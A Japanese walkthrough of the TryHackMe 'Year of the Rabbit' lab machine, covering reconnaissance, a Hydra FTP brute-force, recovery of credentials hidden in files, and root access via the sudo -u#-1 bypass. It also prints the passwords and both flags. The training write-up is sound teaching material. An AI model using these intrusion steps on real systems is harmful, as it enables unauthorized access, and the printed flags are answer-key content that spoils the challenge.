【TryHackMe】Year of the Rabbit：Walkthrough

# 概要

TryHackMe「Year of the Rabbit」のWalkthroughです。

https://tryhackme.com/r/room/yearoftherabbit

# Task1

## **Q1**.*What is the user flag?*

ポートスキャンを実行します。

```
$ nmap -Pn -sC -sV -A -T4 -p- 10.10.27.24 -oN nmap_result
PORT     STATE    SERVICE VERSION
21/tcp   open     ftp     vsftpd 3.0.2
22/tcp   open     ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 a0:8b:6b:78:09:39:03:32:ea:52:4c:20:3e:82:ad:60 (DSA)
|   2048 df:25:d0:47:1f:37:d9:18:81:87:38:76:30:92:65:1f (RSA)
|   256 be:9f:4f:01:4a:44:c8:ad:f5:03:cb:00:ac:8f:49:44 (ECDSA)
|_  256 db:b1:c1:b9:cd:8c:9d:60:4f:f1:98:e2:99:fe:08:03 (ED25519)
80/tcp open  http    Apache httpd 2.4.10 ((Debian))
|_http-server-header: Apache/2.4.10 (Debian)
|_http-title: Apache2 Debian Default Page: It works
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|21|ftp|vsftpd 3.0.2|
|22|ssh|OpenSSH 6.7p1|
|80|http| Apache httpd 2.4.10|

ディレクトリ列挙を行います。

```
$ dirsearch -u http://10.10.27.24
[05:40:00] 200 -  486B  - /assets/
[05:40:00] 301 -  311B  - /assets  ->  http://10.10.27.24/assets/
```

`/assets`を見ると`RickRolled.mp4`と`style.css`を発見しました。

![assets.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/58c84b98-58dc-cf90-af6c-9f45d0175154.jpeg)

`style.css`のコメントアウトから`/sup3r_s3cr3t_fl4g.php`を発見しました。

```/assets/style.css
/* Nice to see someone checking the stylesheets.
     Take a look at the page: /sup3r_s3cr3t_fl4g.php
  */
```

`/sup3r_s3cr3t_fl4g.php`にアクセスすると`JavaScript`を無効にせよというポップアップが表示されました。

![super secret php.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/c0b96521-8b27-1496-6cf0-442f66ee5939.jpeg)

jsをオフにするとメッセージがあります。
`RickRolled.mp4`を見る必要がありそう。

![js off.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/956561b2-7517-cdee-b99b-7b76c821385b.jpeg)

`/assets/RickRolled.mp4`をみましたが、悪用できそうなものは見つかりませんでした。

`/sup3r_s3cr3t_fl4g.php`のリクエストをBurpで見ると`hidden_directory`パラメータで`/WExYY2Cv-qU`の値を使用していました。

![burp secret php.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/b51d135f-9b49-ab95-11d9-d1bfda03cfda.jpeg)

`/WExYY2Cv-qU`へアクセスすると`Hot_Babe.png`を発見しました。

![hidden dir.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/f15cb96a-0df4-21c5-6d9a-8024c00c746d.jpeg)

`Hot_Babe.png`をダウンロードし、ファイル中の文字列を見るとFTPのユーザー名とパスワードを発見しました。

```
$ strings Hot_Babe.png
Eh, you've earned this. Username for FTP is ftpuser
One of these is the password:
```

続いている文字列のいずれかがパスワードらしいので、文字列でパスワードファイルを作り`Hydra`でブルートフォースします。

```
$ hydra -f -l ftpuser -P pass.txt 10.10.27.24 ftp -t 40
[21][ftp] host: 10.10.27.24   login: ftpuser   password: 5iez1wGXKfPKQ
```

FTPのパスワードがわかりました。
FTPにログインすると`Eli's_Creds.txt`を発見したのでダウンロードします。

```
ftp> ls
229 Entering Extended Passive Mode (|||40432|).
150 Here comes the directory listing.
-rw-r--r--    1 0        0             758 Jan 23  2020 Eli's_Creds.txt
ftp> get Eli's_Creds.txt
```

ファイルの中を見ると何かの文字列をが書かれていました。

```Eli's_Creds.txt
+++++ ++++[ ->+++ +++++ +<]>+ +++.< +++++ [->++ +++<] >++++ +.<++ +[->-
--<]> ----- .<+++ [->++ +<]>+ +++.< +++++ ++[-> ----- --<]> ----- --.<+
++++[ ->--- --<]> -.<++ +++++ +[->+ +++++ ++<]> +++++ .++++ +++.- --.<+
+++++ +++[- >---- ----- <]>-- ----- ----. ---.< +++++ +++[- >++++ ++++<
]>+++ +++.< ++++[ ->+++ +<]>+ .<+++ +[->+ +++<] >++.. ++++. ----- ---.+
++.<+ ++[-> ---<] >---- -.<++ ++++[ ->--- ---<] >---- --.<+ ++++[ ->---
--<]> -.<++ ++++[ ->+++ +++<] >.<++ +[->+ ++<]> +++++ +.<++ +++[- >++++
+<]>+ +++.< +++++ +[->- ----- <]>-- ----- -.<++ ++++[ ->+++ +++<] >+.<+
++++[ ->--- --<]> ---.< +++++ [->-- ---<] >---. <++++ ++++[ ->+++ +++++
<]>++ ++++. <++++ +++[- >---- ---<] >---- -.+++ +.<++ +++++ [->++ +++++
<]>+. <+++[ ->--- <]>-- ---.- ----. <
```

調べると`brainfuck`というプログラミング言語で書かれているみたいです。

![brain fuck.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/87b40d4f-1678-b7fe-7c65-736e81aa7844.jpeg)

解読するとユーザー名とパスワードを得られました。

![ssh eli.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/0a056581-1481-53a3-844f-47b9d0584790.jpeg)

:::note info

下記サイトで実行もできます。

https://www.dcode.fr/brainfuck-language
:::

`eli`アカウントでSSHの接続に成功しました。

```
$ ssh eli@10.10.27.24                                 
The authenticity of host '10.10.27.24 (10.10.27.24)' can't be established.
ED25519 key fingerprint is SHA256:va5tHoOroEmHPZGWQySirwjIb9lGquhnIA1Q0AY/Wrw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.27.24' (ED25519) to the list of known hosts.
eli@10.10.27.24's password: 


1 new message
Message from Root to Gwendoline:

"Gwendoline, I am not happy with you. Check our leet s3cr3t hiding place. I've left you a hidden message there"

END MESSAGE




eli@year-of-the-rabbit:~$
```

そして`Root`から`Gwendoline`のメッセージを確認できました。
`/home/gwendoline/user.txt`は権限がなく、見られませんでした。

```
eli@year-of-the-rabbit:/home/gwendoline$ cat user.txt 
cat: user.txt: Permission denied
```

`s3cr3t`を探します。

```
$ find / -name s3cr3t 2>/dev/null
/usr/games/s3cr3t
```

`/usr/games/s3cr3t/`配下を見るとファイルを発見しました。

```
$ ls -la /usr/games/s3cr3t/
total 12
drwxr-xr-x 2 root root 4096 Jan 23  2020 .
drwxr-xr-x 3 root root 4096 Jan 23  2020 ..
-rw-r--r-- 1 root root  138 Jan 23  2020 .th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly!
```

中には`gwendoline`のパスワード`MniVCQVhQHUNI`がありました。

```
$ cat /usr/games/s3cr3t/.th1s_m3ss4ag3_15_f0r_gw3nd0l1n3_0nly\! 
Your password is awful, Gwendoline. 
It should be at least 60 characters long! Not just MniVCQVhQHUNI
Honestly!

Yours sincerely
   -Root
```

`Username: gwendoline`,`Password: MniVCQVhQHUNI`でログインに成功しました。

```
$ su gwendoline
Password:
```

`/home/gwendoline/user.txt`からフラグを入手できます。

```/home/gwendoline/user.txt
THM{1107174691af9ff3681d2b5bdb5740b1589bae53}
```

**A**.**THM{1107174691af9ff3681d2b5bdb5740b1589bae53}**

## **Q2**.*What is the root flag?*

`sudo -l`で確認します。

```
$ sudo -l
Matching Defaults entries for gwendoline on year-of-the-rabbit:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User gwendoline may run the following commands on year-of-the-rabbit:
    (ALL, !root) NOPASSWD: /usr/bin/vi /home/gwendoline/user.txt
```

同様の設定の脆弱性を以前悪用したことがあり、それを試みました。

https://www.jpcert.or.jp/newsflash/2019101601.html

```
$ sudo -u#-1 /usr/bin/vi /home/gwendoline/user.txt
# whoami
root
```

root権限を取得出来ました。
`/root/root.txt`からフラグを入手できます。

```/root/root.txt
THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}
```

**A**.**THM{8d6f163a87a1c80de27a4fd61aef0f3a0ecf9161}**